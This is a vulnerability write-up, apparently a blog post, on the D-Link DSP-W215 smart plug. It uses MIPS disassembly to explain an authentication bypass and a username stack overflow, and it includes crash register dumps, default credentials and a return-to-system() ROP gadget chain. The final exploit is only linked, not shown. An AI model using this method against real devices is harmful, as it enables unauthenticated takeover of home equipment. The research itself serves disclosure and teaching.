tl;dr
Unauthenticated code execution on the D-Link DSP-W215 smart plug.
- identifying the error leading to the authentication bypass
- buffer overflow in the user name of the login form
- second root shell on the plug
Coming back to the authentication bypass
Having a first root shell allows to:
- perform remote debugging of the actual plug after uploading
gdbserver
- download of the plug’s
config.sqlite
, which can then be used inqemu
, from which one gets some information:
sqlite3 config.sqlite
<snip>
sqlite> .schema
<snip>
CREATE TABLE IF NOT EXISTS "DeviceSecurity" ("UserLevel" CHAR NOT NULL ,
"UserName" VARCHAR NOT NULL , "UserPwd" VARCHAR NOT NULL );
<snip>
sqlite> select * from DeviceSecurity;
1|admin|123456
- check the NX and ASLR protections as mentionned in Part 3. In particular, since only the stack position is randomized, having access to the plug with this first shell allows to get the bases of all shared libraries.
- obtain the kernel version:
uname -a
Linux DSP-W215 2.6.31 #1 Wed Oct 22 15:51:16 CST 2014 mips GNU/Linux
After enjoying this root shell, I wanted to find the reason behind the authentication bypass discussed in Part 1
A few strings searches quickly led me to the check_login_addr()
function
in libhnap.so
, and in particular to the following block
0x6610 addiu $s0, $sp, 0x288+var_C4
0x6614 la $t9, memset
0x6618 li $a2, 0x96
0x661c move $a0, $s0
0x6620 jalr $t9 ; memset
0x6624 move $a1, $zero
0x6628 lw $gp, 0x288+var_270($sp)
0x662c move $a0, $s0
0x6630 addiu $s1, $sp, 0x288+var_1E8
0x6634 li $a1, 0x20000
0x6638 la $t9, strcpy
0x663c addiu $fp, $sp, 0x14C
0x6640 jalr $t9 ; strcpy
0x6644 addiu $a1, (aUsername - 0x20000) # "UserName"
0x6648 lw $gp, 0x288+var_270($sp)
0x664c lw $a0, 0x288+var_260($sp) # pointer to user name
0x6650 la $t9, tolower
0x6654 nop
0x6658 jalr $t9 ; tolower
0x665c nop
0x6660 lw $gp, 0x288+var_270($sp)
0x6664 move $a1, $v0
0x6668 la $t9, strcpy
0x666c nop
0x6670 jalr $t9 ; strcpy
0x6674 addiu $a0, $sp, 0x288+var_92
0x6678 lw $gp, 0x288+var_270($sp)
0x667c move $a0, $s1
0x6680 move $a1, $zero
0x6684 la $t9, memset
0x6688 nop
0x668c jalr $t9 ; memset
0x6690 li $a2, 0x52
0x6694 lw $gp, 0x288+var_270($sp)
0x6698 move $a1, $s0
0x669c move $a0, $s1
0x66a0 la $t9, getDeviceSecurity
0x66a4 nop
0x66a8 jalr $t9 ; getDeviceSecurity
0x66ac li $a2, 1
0x66b0 lw $gp, 0x288+var_270($sp)
0x66b4 move $a0, $s4
0x66b8 la $t9, getLoginInfo
0x66bc nop
0x66c0 jalr $t9 ; getLoginInfo
0x66c4 move $a1, $fp
0x66c8 move $s0, $v0
0x66cc li $v0, 1
0x66d0 lw $gp, 0x288+var_270($sp)
0x66d4 bne $s0, $v0, loc_6A50
0x66d8 nop
This block is executed when the client performs a login login
SOAP action
(see Part2), after checking that
the user name (given in the login form) is not empty.
Basically, what happens in the above block is:
- 0x6610-0x6624: a stack buffer of size 0x96 (@ sp + 0x1c4, with 0x1c4 being 0x288 - 0xc4) is zeroed out.
- 0x6628-0x6644: the string “UserName” is copied to the beginning of this buffer.
- 0x6648-0x665c: this is pure nonsense. Reading too fast, it seems that
the user name given in the login form is converted to lower case (the user
name is stored on the heap, and there is a pointer to it stored on the
stack @ sp + 0x28, with 0x28 = 0x288 - 0x260). But reading
tolower()’s man page
confirms that
tolower()
does not convert a string to lower case, and does not take a pointer to char as argument! - 0x6660-0x6674: the user name is copied into the previously zeroed out buffer, 50 (0xc4 - 0x92) bytes after the beginning of this buffer. Yes, you spotted it too, there is an old school buffer overflow here, see next section for its exploitation!
- 0x6678-0x6690: a stack buffer of size 0x52 (@ sp + 0xa0, with 0xa0 being 0x288 - 0x1e8) is zeroed out
- 0x6694-0x66ac: this buffer is filled with the credentials of the user
(user level, name and password) stored in the database by
getDeviceSecurity()
, if the user name corresponds to an existing user name in the database. For the plug, only “admin” exists in the database. The buffer remains filled with null bytes if the user name is not found in the database. From dynamical analysis, it turns out thatgetDeviceSecurity()
is not case sensitive (with respect to the user name), explaining the behaviour noticed in Part 1 - 0x66b0-…: whatever happened before, the execution goes on, unchanged,
because no check whatsoever is performed when
getDeviceSecurity()
returns. This means that if the user name was not found in the database, the buffer supposed to contain the credentials (user level, name and password) remains empty. And all the authentication steps that follow will be done with an empty password. So we now know why the authentication bypass works.
Up to now, I have refrained from mocking the people responsible for the firmware running on the plug, because Errare humanum est. But the full latin expression is: Errare humanum est, perseverare diabolicum, so the following seems really well deserved
Good old buffer overflow
The good news is that what I have playfully dubbed “PlugCTF” goes on, since
a new level has been unlocked!
Injecting a long enough user name leads to a control of the ra
(hence the
pc
) register, as well as of all s*
registers. Injecting the
pwntools de Bruijn pattern
of length 146 (obtained with cyclic(146)
)
“aaaabaaa…abkaabla” yields
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x61626c61 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 1000a400 00000000 ffffffff 77edb36f 0000000a 00000000 0a0a0a0a
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 00000002 00000024 00000025 00000807 00000800 00000400
s0 s1 s2 s3 s4 s5 s6 s7
R16 61626361 61626461 61626561 61626661 61626761 61626861 61626961 61626a61
t8 t9 k0 k1 gp sp s8 ra
R24 00000008 77e08eb0 00000040 00000000 77ef88b0 7fff30b8 61626b61 61626c61
status lo hi badvaddr cause pc
0000a413 00000000 00000000 61626c60 10800008 61626c61
fcsr fir restart
00000000 00739300 00000000
The name should not be too long though, because some data (probably some pointers, but I did not try to understand this in detail) from previous stack frames get crushed while still in use. Injecting a pattern whose length is 205 or more leads to:
Program received signal SIGSEGV, Segmentation fault.
0x77e25630 in free () from ./lib/libc.so.0
(gdb) bt
#0 0x77e25630 in free () from ./lib/libc.so.0
#1 0x77f3b648 in create_select_cmd () from ./lib/libmiddleware.so
#2 0x77f3b7b8 in exec_sql () from ./lib/libmiddleware.so
#3 0x77f370b0 in select_data () from ./lib/libmiddleware.so
#4 0x77f398d8 in getDeviceSecurity () from ./lib/libmiddleware.so
#5 0x77ec86b0 in check_login_addr () from ./lib/libhnap.so
#6 0x61626c61 in ?? ()
Apart from this constraint on the length, we must take care of the following:
- the user name is used in a SOAP action, so one must be careful not to
inject characters like ‘<‘, since such a character is interpreted and
could lead to an error, before the
web_cgi.cgi
binary has a chance of being called (see the discussion about SOAP injection in Part1). - null bytes are of course forbidden because of
strcpy()
. Furthermore, since we deal with Big Endianness, we cannot return even once to code, which resides in ther-x
memory mapping 0x00400000-0x0040a000. - the stack position is randomized on the plug (but not the shared libraries position, see Part3)
Although the stack is executable, using a shellcode requires to take care of cache coherence. For readers interested in learning more about it, see this, this and that.
Given the lack of randomization of shared libraries bases,
it is much easier to use the classical
return to libc, and
return to system()
.
Using Craig Heffner’s
mipsrop IDA plugin,
with command mipsrop.find("jalr $t9")
against libuClibc-0.9.30.so
yields 1165 gadgets. While looking for gadgets using the content of register
s0
for the jalr
instruction, I found the following beauty:
0x1549c addiu $s5, $sp, 0x10
0x154a0 move $a1, $s3
0x154a4 move $a2, $s1
0x154a8 move $t9, $s0
0x154ac jalr $t9
0x154b0 move $a0, $s5
- 0x1549c and 0x154b0: these two instructions will let
a0
point to the stack without needing a stack leak! We’ll make it point to the command string we wishsystem()
to execute. - 0x154a0 and 0x154a4: these are useless since
system()
has a single argument, but would be useful for functions taking up to 3 arguments. - 0x154a8 and 0x154ac: these will call
system()
provideds0
contains the address ofsystem
in the libc.
The final exploit and a video of the exploit running on the plug can be found here and there.
Conclusion
I learnt a lot while playing PlugCTF, so I really do not regret spending 38€! I wonder what I’ll be doing with this plug now. Maybe somebody would be interested buying it second hand. I promise I did not backdoor it 😄